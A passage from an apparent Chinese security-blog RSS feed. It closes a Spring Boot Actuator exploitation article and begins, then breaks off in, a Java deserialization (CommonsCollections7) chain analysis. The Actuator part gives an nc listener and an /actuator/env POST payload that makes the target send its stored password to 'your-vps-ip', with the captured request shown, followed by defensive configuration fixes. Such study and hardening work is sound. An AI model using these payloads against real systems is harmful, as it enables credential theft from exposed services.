0px;padding: 0px;padding-left: 32px;list-style-type: decimal;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p>解码属性值<br/>接下来VPS会获得如下请求：</p></li></ol><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>GET /apps/ HTTP/1.1<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">Accept: application/json, application/*+json</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">Authorization: Basic dmFsdWU6cm9vdA==</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">Host: ******</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">5</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">Connection: Keep-Alive</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">6</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_191)</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">7</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">Accept-Encoding: gzip,deflate</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">将Authorization字段进行base64解密后，得到的值就是value:password</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">4.4 方法四</span></h4><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">利用条件：</span></h5><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">通过 POST /env 设置属性触发目标对外网指定地址发起任意 http 请求</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">目标可以请求攻击者的服务器（请求可出外网）</span></p></li></ul><h5 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;font-size: 1em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">利用方法：</span></h5><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">在目标发外部 http 请求的过程中，在 url path 中利用占位符带出数据。</p><ol style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: decimal;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">首先访问</span></p><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><a href="http://127.0.0.1:8080/actuator/env" target="_blank">http://127.0.0.1:8080/actuator/env</a></span></p><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">来获取我们想要明文字段的key。</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">在自己控制的外网服务器上监听 80 端口：</span></p></li></ol><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">nc</span> -lvk <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">80</span><br/></code></pre><ol start="3" style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: decimal;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">构造如下数据包：</span></p></li></ol><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>POST /actuator/env<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>Content-<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">Type</span>: application/json<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span>{<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;name&#34;</span>:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;eureka.client.serviceUrl.defaultZone&#34;</span>,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;value&#34;</span>:<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<a href="http://your-vps-ip/" target="_blank">http://your-vps-ip/</a><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">${security.user.password}</span>&#34;</span>}<br/></code></pre><ol start="4" style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: decimal;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">刷新配置</span></p></li></ol><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>POST /actuator/refresh<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">Content-Type: application/json</span><br/></code></pre><ol start="5" style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: decimal;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">查看VPS</span></p></li></ol><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">接下来VPS就会收到请求：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">Ncat: Connection from ******</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>GET /SecretKe/apps/ HTTP/1.1<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">Accept: application/json, application/*+json</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">Host: ******</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">5</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">Connection: Keep-Alive</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">6</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_191)</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">7</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">Accept-Encoding: gzip,deflate</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">apps前面的路径就是我们需要的数据。</p><h3 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;margin: 0px;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x05 如何防御</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid rgb(239, 235, 233);border-right: 20px solid transparent;"> </span></h3><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.1 方法一</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">针对第一种方法，我们可以直接禁用heapdump端点，可以在配置文件中加入如下配置：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">management.endpoint.heapdump.enabled=<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">false</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">然后重新运行项目，访问/actuator/heapdump：<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-ratio="0.3453703703703704" title="image11" data-type="png" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=e0ad0660&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MXEGVFAABIB0ntyhTJicmSrDIDIfBhvSdFibia0CTgLickib8Nuwm4qyrxjO6odYzxBgsVNKvO1v46wSsw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image11</figcaption></figure><br/>可以看到无法下载dump文件，自然也就无法获取明文密码了。<p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><br/></p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.2 方法二</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">针对第二种方法，可以有两种选择，一是直接移除jolokia依赖，二是禁用jolokia端点，这里直接移除如下依赖：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">&lt;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">dependency</span>&gt;</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>    <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">&lt;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">groupId</span>&gt;</span>org.jolokia<span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">&lt;/<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">groupId</span>&gt;</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>    <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">&lt;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">artifactId</span>&gt;</span>jolokia-core<span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">&lt;/<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">artifactId</span>&gt;</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span>    <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">&lt;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">version</span>&gt;</span>1.7.0<span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">&lt;/<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">version</span>&gt;</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">5</span><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;">&lt;/<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">dependency</span>&gt;</span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">删除选中部分，重新加载maven项目后运行项目，然后访问/actuator/jolokia端点：<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-ratio="0.3638888888888889" title="image12" data-type="png" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=c5da3929&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MXEGVFAABIB0ntyhTJicmSrDFDaDsIXFibAFX38wpFcDib2ibRic3skHSWsaqmr6mOZ8ZLGJ1IgrZBrbYQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image12</figcaption></figure><br/>可以看到端点已无法访问。<p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><br/></p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.3 方法三</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">删除<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">spring-cloud-starter-netflix-eureka-client</code></p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="color: inherit;font-size: inherit;">依赖或者禁止POST请求访问env端点。</span></p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="color: inherit;font-size: inherit;"></span></p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">5.4 方法四</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">和方法三一样，删除<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">spring-cloud-starter-netflix-eureka-client</code>依赖或者禁止POST请求访问env断点。</p><h3 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.6em 0px;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;margin: 0px;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x06 参考</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid rgb(239, 235, 233);border-right: 20px solid transparent;"> </span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">[1] <a href="https://blog.csdn.net/weixin_42628854/article/details/124592923" target="_blank">https://blog.csdn.net/weixin_42628854/article/details/124592923</a></p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">[2] <a href="https://blog.csdn.net/weixin_40482816/article/details/108539137" target="_blank">https://blog.csdn.net/weixin_40482816/article/details/108539137</a></p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">[3] <a href="https://www.cnblogs.com/caoweixiong/p/15325382.html" target="_blank">https://www.cnblogs.com/caoweixiong/p/15325382.html</a></p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">[4]<a href="https://github.com/LandGrey/SpringBootVulExploit#spring-boot-vulnerability-exploit-check-list" target="_blank">https://github.com/LandGrey/SpringBootVulExploit#spring-boot-vulnerability-exploit-check-list</a></p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">[5] <a href="http://cr.openjdk.java.net/~sundar/8022483/webrev.01/raw_files/new/src/share/classes/com/sun/tools/hat/resources/oqlhelp.html" target="_blank">http://cr.openjdk.java.net/~sundar/8022483/webrev.01/raw_files/new/src/share/classes/com/sun/tools/hat/resources/oqlhelp.html</a></p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;">[6] <a href="https://stackoverflow.com/questions/34950164/getting-nosuchmethoderrorjavax-servlet-servletcontext-getvirtualservername" target="_blank">https://stackoverflow.com/questions/34950164/getting-nosuchmethoderrorjavax-servlet-servletcontext-getvirtualservername</a></p></section><p><br/></p>



<p><a href="2247486318">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1b705341&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NDg4MTIxMw%3D%3D%26mid%3D2247486318%26idx%3D1%26sn%3Dc17294acd1449b8d4d609513c92ad43a%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 30 Aug 2022 08:02:00 +0800</pubDate>
    </item>
    <item>
      <title>JAVA反序列化之CommonCollections7利用链</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&amp;mid=2247486289&amp;idx=1&amp;sn=e207f3955c4b46741a4fe599d7f23beb</link>
      <description>好久没有分析CC链了，今天来把最后一个CC7分析一下。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Gat1ta</span> <span>2022-08-16 08:00</span> <span style="display: inline-block;">北京</span>
</p>

<p>好久没有分析CC链了，今天来把最后一个CC7分析一下。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=40d2ba06&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fic56Y1PMq5MVBApSf9QTsUicF1JUE9vicibcicRhL8rk5ANmGEQHvm2JicafETlglXaOcgldI0D0qibbZuH45Fw09cXww%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="font-size: 15px;color: rgb(62, 62, 62);line-height: 1.8;word-spacing: 2px;letter-spacing: 2px;font-family: &#39;Helvetica Neue&#39;, Helvetica, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;background-image: linear-gradient(90deg, rgba(50, 0, 0, 0.05) 3%, rgba(0, 0, 0, 0) 3%), linear-gradient(360deg, rgba(50, 0, 0, 0.05) 3%, rgba(0, 0, 0, 0) 3%);background-size: 20px 20px;background-position: center center;"><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.7em 0px;"><span style="font-size: 14px;">好久没有分析CC链了，今天来把最后一个CC7分析一下（1-6可以到博客<a href="http://myblog.ac.cn查看）。 " target="_blank">http://myblog.ac.cn查看）。 </a><br/>首先看一下yso代码：</span></p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 1</span>public Hashtable getObject(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">final</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">String</span> command) throws Exception {<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 2</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 3</span>    <span style="font-size: inherit;line-height: inherit;margin: 